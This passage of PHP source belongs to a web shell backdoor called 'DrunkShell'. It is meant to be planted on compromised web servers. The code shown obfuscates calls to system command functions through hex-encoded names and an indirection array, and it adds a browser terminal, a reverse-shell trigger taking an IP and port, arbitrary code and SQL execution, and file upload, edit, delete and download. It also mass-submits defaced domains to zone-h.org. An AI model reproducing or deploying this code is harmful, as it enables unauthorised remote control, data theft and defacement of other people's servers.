          header("Location:".$_SERVER["PHP_SELF"]."?x=".Enx($at)."&y=".Enx($_POST["rname"])."&act=".$_GET["act"]);
        }else{
          Status("Status", "Can't rename a file/folder");
          header("Location:".$_SERVER['REQUEST_URI']);
        }
      }
    break;
    case 'read':
      printf('
      <table class="act">
        %s
        <tr>
          <td>
            <form autocomplete=\'off\' method="post">
              <textarea style="height:400px" readonly>%s</textarea>
            </form>
          </td>
        </tr>
      </table>', HeaderAction($at, Dex($_GET["y"])), Read($at.Dex($_GET["y"])));
    break;
    default:
    echo "404 :p";
    break;
  }
}
function Footer(){
  ?>
  </body>
<script>
const B64EN = (content) => {
  return btoa(unescape(encodeURIComponent(content)));
}
const B64DE = (content) => {
  return atob(unescape(encodeURIComponent(content)));
}
const ROT13 = (str) => {
  var input     = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
  var output    = 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm';
  var index     = x => input.indexOf(x);
  var translate = x => index(x) > -1 ? output[index(x)] : x;
  return str.split('').map(translate).join('');
}
const Tohex = (x) =>
  {
	var y = [];
	for (var n = 0, l = x.length; n < l; n ++)
     {
		var hex = Number(x.charCodeAt(n)).toString(16);
		y.push(hex);
	 }
	return y.join('');
   }
const Hexto = (x) =>  {
	var hex  = x.toString();
	var x = '';
	for (var n = 0; n < hex.length; n += 2) {
		x += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
	}
	return x;
 }
const URLEN = (str) => {
  return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
    return '%' + c.charCodeAt(0).toString(16);
  });
}
const URLDE = (str) => {
  return decodeURIComponent(str);
}
const ENCXDE = (x) =>{
  return B64EN(Tohex(x));
}
console.log(ENCXDE("test"));
$("#reverse").click((e) => {
  e.preventDefault()
  var ipPort = $("#ipport").val()
  var lang = $("#lang").val()
  $.ajax({
    method: "POST",
    url: "?api=bc",
    data: {ipport:ENCXDE(ipPort), lang:ENCXDE(lang)}
  }) .done(function( data ) {
    $("#bc-msg").html(data["msg"])
  });
})
$("#submitQuery").click((e) => {
  e.preventDefault()
  var query = $("#query").val()
  $.ajax({
    method: "POST",
    url: "?api=mysql",
    data: {query:ENCXDE(query)}
  }) .done(function( data ) {
    $("#mysqlOutput").html(data["msg"]+data["html"])
  });
})
$("#hashthat").click((e) => {
  e.preventDefault()
  var algo = $("#algos").val()
  var txt = $("#unhash-text").val()
  $.ajax({
    method: "POST",
    url: "?api=hash",
    data: {y:algo, x:txt}
  }) .done(function( data ) {
    $("#hash-output").html("Hash Algo : "+data["algo"]+"<br>Plain Text : "+escape(txt)+"<br>Hashed Text : "+data["result"])
  });
})
$("#convert").click(function(e){
  var lib = $("#encode-decode-lib").val();
  switch(lib){
    case 'b64':
        switch($("#encode-decode").val()){
          case "encode":
            $("#output-text").val(B64EN($("#input-text").val()))
          break;
          case "decode":
            $("#output-text").val(B64DE($("#input-text").val()))
          break;
        }
    break;
    case 'hex':
        switch($("#encode-decode").val()){
          case "encode":
            var val = $("#input-text").val();
            $("#output-text").val(Tohex(val))
          break;
          case "decode":
            $("#output-text").val(Hexto($("#input-text").val()))
          break;
        }
    break;
    case 'url':
        switch($("#encode-decode").val()){
          case "encode":
            $("#output-text").val(URLEN($("#input-text").val()))
          break;
          case "decode":
            $("#output-text").val(URLDE($("#input-text").val()))
          break;
        }
    break;
    case 'rot13':
        switch($("#encode-decode").val()){
          case "encode":
            $("#output-text").val(ROT13($("#input-text").val()))
          break;
          case "decode":
            $("#output-text").val(ROT13($("#input-text").val()))
          break;
        }
    break;
    default:
      $(".open").hide()
    break;
  }
})
$('.btn').click(function() {
  $(".runcode").addClass('hidden-tab');
  $(".btn").removeClass('active');
  $(this).addClass('active');
  $($(this).data('goto')).removeClass('hidden-tab');
});
$('#exec').click(function(e) {
  e.preventDefault();
  var code = $("#code").val()
  var lang = $(".lang-select").val()
  $("#runcode-output").html("Executing the code....")
  $.ajax({
    method: "POST",
    url: "?api=execode",
    data: {code: ENCXDE(code), lang:ENCXDE(lang)}
  }) .done(function( data ) {
    $("#runcode-output").html(data["output"])
  });
});
$("#save").click((e)=>{
  e.preventDefault()
  var something = $("#content-edit").val()
  var content = ENCXDE(something)
  var pathy = $("#path-edit").val()
  $("#msg-edit").html("Saving... Please Wait..")
  $.ajax({
    method: "POST",
    url: "?api=edit",
    data: {content: content, path:ENCXDE(pathy)}
  }) .done(function( data ) {
    $("#msg-edit").html(data["msg"])
  });

})
$("#search").click((e) => {
  e.preventDefault();
  var file = $("#searchbox").val()
  var paths = $("#path").val()
  $("#checkedF").html("<img width='70px' id='loading' src='https://upload.wikimedia.org/wikipedia/commons/a/ad/YouTube_loading_symbol_3_%28transparent%29.gif'>");
  $.ajax({
    method: "POST",
    url: "?api=search",
    data: { searchfile: ENCXDE(file), path: ENCXDE(paths)}
  }) .done(function( data ) {
    $("#checkedF").html(data["data"])
    $(".actSubmit").click(function(e) {
    e.preventDefault()
    var select = $(this).siblings();
    var value = $(select).val()
    var customParam = $(select).data("param");
    var filename = $(select).data("filename")
    switch(customParam){
      case "goto":
        window.location.href = value;
      break;
      case "copy":
        $.redirectPost('', {'path_dir': value,'act': 'copy'});
      break;
      case "delete":
        if(confirm(`Want to delete > ${filename} ??`)) window.location.href = value;
      break;
      case "move":
        $.redirectPost('', {'path_dir': value,'act': 'move'});
      break;
      case "pastef":
        $.redirectPost('', {'path': value+'/','act': 'pastef'});
      break;
      case "download":
        $.redirectPost('?api=dwnld', {'fullpath': ENCXDE(value)});
      break;
    }
  })
  });
})
$(".blackout").hide();
$("#terminal-show").click(() => {
  $(".blackout").show();
  $("body").css({"overflow":"hidden"});
})
$("#clear").click(() => {
  $("#output").html("");
})
$("#hide").click(() => {
  $("body").css({"overflow":"visible"});
  $(".blackout").hide();
})
let path = null;
var regex = /\\|\//;
const input = () => {
  pathHTML = path.split(regex).join("/")
  $("#input_cmdnya").html("<span class='term-prompt'>DrunkShell(<b style='color:red'>"+pathHTML+"</b>)</span> > ");
}
const output = (np, cmd, path) => {
  pathHTML = path.split(regex).join("/")
  html = $("#output").html();
  html = html + "<span class='term-prompt'>DrunkShell(<b style='color:red'>"+pathHTML+"</b>)</span> > "+escape(cmd)+"<br>"+np;
  $("#output").html(html);
  $("#input_cmdnya").html("<span class='term-prompt'>"+pathHTML+"</span> > ");
}
const newpath = (np) => {
  if(np){
    path = np;
    input()
  }else{
    $.ajax({
      method: "POST",
      url: "?api=path",
    }) .done(function( data ) {
      path = data["path"];
      input()
      console.log(path);
    });
  }
}
$("#cmd").keypress((e)=>{
  if(e.keyCode == 13){
    e.preventDefault()
    var cmdOriginal = $("#cmd").val();
    var pathEncoded = ENCXDE(path)
    var cmd = cmdOriginal.split("").join("awkawk#$!kwowkoako&^%@#@#$%%%!@akusukakamuhehehe>");
    $.ajax({
      method: "POST",
      url: "?api=terminal",
      data: { cmd: ENCXDE(cmd), path: pathEncoded}
    }) .done(function( data ) {
      output(data["output"], cmdOriginal, path);
      $("#terminal-wrapper").animate({
        scrollTop: document.getElementById("output").scrollHeight
      }, 500);
      newpath(data["path"]);
  });
  $("#cmd").val("");
  }
})
newpath();
$.extend(
{
    redirectPost: function(location, args)
    {
        var form = $('<form></form>');
        form.attr("method", "post");
        form.attr("action", location);

        $.each( args, function( key, value ) {
            var field = $('<input></input>');

            field.attr("type", "hidden");
            field.attr("name", key);
            field.attr("value", value);

            form.append(field);
        });
        $(form).appendTo('body').submit();
    }
});
const escape = (unsafe) => {
    return unsafe
         .replace(/&/g, "&amp;")
         .replace(/</g, "&lt;")
         .replace(/>/g, "&gt;")
         .replace(/"/g, "&quot;")
         .replace(/'/g, "&#039;");
 }
  $("#submitAct").click(function(e) {
    e.preventDefault(); // or make the button type=button
    	$.ajax({
        type: "POST",
        data: $('#checkedF').serialize() + "&" + $('#actionForm').serialize(),
        success: function(data){
          location.reload();
        }
      });
  });
$("#spam").click((e) => {
    e.preventDefault();
    var targetarray = $("#urls").val().split("\n");
    var notifier = $("#orang").val();
    $.each(targetarray, function(i, target){
       $.ajax({
         method: "POST",
         url: "http://zone-h.org/notify/single",
         data: { defacer: notifier, domain1: target, hackmode:"1", reason:"1" }
       })
       if (targetarray.length == i+1) {
         $("#msg").html("Done!")
       }else{
         $("#msg").html("<img width='70px' src='https://upload.wikimedia.org/wikipedia/commons/a/ad/YouTube_loading_symbol_3_%28transparent%29.gif'>")
       }
    });
})
  $("#upload").click(() => {
    $("#uploader").click()
    $("#uploader").change(() => {
      $("#post-upload").submit();
    });
  })
  $(".dbses").click(function(e) {
    e.preventDefault()
    var value = $(this).data("val")
    $.redirectPost('', {'dbses': ENCXDE(value)});
  })
  $(".actSubmit").click(function(e) {
    e.preventDefault()
    var select = $(this).siblings().children("option:selected");
    var value = $(select).val()
    var customParam = $(select).data("param")
    var filename = $(select).data("filename")
    switch(customParam){
      case "goto":
        window.location.href = value;
      break;
      case "copy":
        $.redirectPost('', {'path_dir': value,'act': 'copy'});
      break;
      case "delete":
        if(confirm(`Want to delete > ${filename} ??`)) window.location.href = value;
      break;
      case "move":
        $.redirectPost('', {'path_dir': value,'act': 'move'});
      break;
      case "pastef":
        $.redirectPost('', {'path': value+'/','act': 'pastef'});
      break;
      case "download":
        $.redirectPost('?api=dwnld', {'fullpath': ENCXDE(value)});
      break;
    }
  })
  $("#mass").hide();
  $("#massbutt").click(() => {
    $("#mass").toggle();
  })
  $("#tools").hide();
  $("#toolsbutt").click(() => {
    $("#tools").toggle();
  })
</script>
</html>
  <?php
}
function OG($path)
{
  global $WKWK;
  if(function_exists('posix_getgrgid')){
    $group = $WKWK[35]($WKWK[56]($path));
    $group = $group['name'];
  }else{
    $group = "?";
  }
  if(function_exists('posix_getpwuid')){
    $owner = $WKWK[36]($WKWK[38]($path));
    $owner = $owner['name'];
  }else{
    $owner = "?";
  }
  return $owner.":".$group;
}
function Delete($path)
{
  global $WKWK;
    if($WKWK[28]($path."/")){
      if(Delfolder($path."/")){
        return $path." ==> DELETED!";
      }else{
        return $path." ==> FAILED!";
      }
    }else{
      if($WKWK[5]($path)){
        return $path." ==> DELETED!";
      }else{
        return $path." ==> FAILED!";
      }
    }
}
function Xute($payload)
{
  global $WKWK;
    if (isset($payload))
    {
        if (function_exists(Dex("6b36626e6a475274")))
        {
            @ob_start();
            @$WKWK[3]($payload);
            $content = @ob_get_contents();
            @ob_end_clean();
            return $content;
        }
        elseif (function_exists(Dex("6b3766626c4770684e5066624f713d3d")))
        {
            $content = @$WKWK[2]($payload);
            return $content;
        }
        elseif (function_exists(Dex("4e5066624f713d3d")))
        {
            @ob_start();
            @$WKWK[1]($payload, $output);
            foreach ($output as $o)
            {
                $content = $content . $o;
            }
            $content = @ob_get_contents();
            @ob_end_clean();
            return $content;
        }
        elseif (function_exists(Dex("6b47486e6b3656796b7a533d")))
        {
            @ob_start();
            @$WKWK[4]($payload);
            @ob_end_clean();
            $content = @ob_get_contents();
            return $content;
        }	elseif(function_exists(Dex("6b4730714e51353d")))
        {
        		$buff="";
        		$pop=$WKWK[46]($payload,"r");
        		while(!$WKWK[48]($pop))
        		{
        			$buff.=$WKWK[49]($pop,1024);
        		}
        		$WKWK[47]($pop);
        		return $buff;
        }
        else
        {
            return false;
        }
    }
}
function MSG(){
  if($_SERVER['REQUEST_METHOD'] != "POST"){
    if(!empty($_SESSION["msg"]["title"]) && !empty($_SESSION["msg"]["content"])){
      echo '
      <div class="box bg-yellow">
        <table>
          <tr>
            <td>'.$_SESSION["msg"]["title"].'</td>
            <td>:</td>
            <td>'.$_SESSION["msg"]["content"].'</td>
          </tr>
        </table>
      </div>';
      unset($_SESSION["msg"]);
    }
  }
}
function text($text, $mode)
{
    if ($mode == "success") return "<span style='color:#32ff6a'>" . $text . "</span>";
    if ($mode == "successb") return "<span class='b sb'>" . $text . "</span>";
    if ($mode == "fail") return "<span style='color:red'>" . $text . "</span>";
    if ($mode == "failb") return "<span class='b fb'>" . $text . "</span>";
    if ($mode == "warn") return "<span style='color:yellow'>" . $text . "</span>";
    if ($mode == "warnb") return "<span class='b wb'>" . $text . "</span>";
}
function lastmod($file)
{
    global $WKWK;
    $time = $WKWK[50]($file);
    $time = $WKWK[51]("Y-m-d H:i:s", $time);
    return $time;
  }
function PermColor($path, $color = "colored"){
  global $WKWK;
  $textperm = PermText($path);
  $output = "";
  if($WKWK[52]($path)) {
    if($color == "colored"){
      $output = text($textperm."<span class='b wb'>READABLE</span><span class='b wb'>".PermNumber($path)."</span>", "warn");
    }else{
      $output = $textperm."<span class='b bw'>READABLE</span><span class='b bw'>".PermNumber($path)."</span>";
    }
  }
  if($WKWK[53]($path)){
    if($color == "colored"){
      $output = text($textperm."<span class='b sb'>WRITABLE</span><span class='b sb'>".PermNumber($path)."</span>", "success");
    }else{
      $output = $textperm."<span class='b bw'>WRITABLE</span><span class='b bw'>".PermNumber($path)."</span>";
    }
  }
  if(!$WKWK[53]($path) && !$WKWK[52]($path)){
    if($color == "colored"){
      $output = text($textperm."<span class='b fb'>ACCESS DENIED</span><span class='b fb'>".PermNumber($path)."</span>", "fail");
    }else{
      $output = $textperm."<span class='b bw'>ACCESS DENIED</span><span class='b bw'>".PermNumber($path)."</span>";
    }
  }
  return $output;
}
function PermText($path){
  global $WKWK;
  $perms = $WKWK[17]($path);

  switch ($perms & 0xF000) {
      case 0xC000:
          $info = 's';
          break;
      case 0xA000:
          $info = 'l';
          break;
      case 0x6000:
          $info = 'b';
          break;
      case 0x8000:
          $info = '-';
          break;
      case 0x4000:
          $info = 'd';
          break;
      case 0x2000:
          $info = 'c';
          break;
      case 0x1000:
          $info = 'p';
          break;
      default:
          $info = 'u';
  }
  $info .= (($perms & 0x0100) ? 'r' : '-');
  $info .= (($perms & 0x0080) ? 'w' : '-');
  $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
  $info .= (($perms & 0x0020) ? 'r' : '-');
  $info .= (($perms & 0x0010) ? 'w' : '-');
  $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
  $info .= (($perms & 0x0004) ? 'r' : '-');
  $info .= (($perms & 0x0002) ? 'w' : '-');
  $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

  return $info;
}
function PermNumber($path){
  global $WKWK;
  $perms = substr(sprintf('%o', $WKWK[17]($path)),-4);
  return $perms;
}
function Perm($perm){
  global $WKWK;
  $lolol = $perm;
  $perms = 0;
  for($i=strlen($perm)-1;$i>=0;--$i) $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
  return $perms;
}
function write($pathfile, $content)
{
  global $WKWK;
  $handler = $WKWK[12]($pathfile, 'w');
  if($WKWK[13]($handler, $content)){
  return true;
  }else{
  return false;
  }
 $WKWK[14]($handler);
}

function Delfolder($_path){
  global $WKWK;
  $path = $WKWK[19]("\\", "/", $_path);
  $contain = $WKWK[8]($path);
  $file_html = "";
  foreach($contain as $key => $file){
      $p = realpath($path.DIRECTORY_SEPARATOR.$file);
      if ($WKWK[28]($p)) {
        if($file == "." || $file == ".."){
          continue;
        }
        Delfolder($p);
      }else{
        $WKWK[5]($p);
      }
    }
  if($WKWK[6]($path)){
    return true;
  }else{
    return false;
  }
}
function Status($title, $content){
  $_SESSION["msg"]["title"] = $title;
  $_SESSION["msg"]["content"] = $content;
}
?>
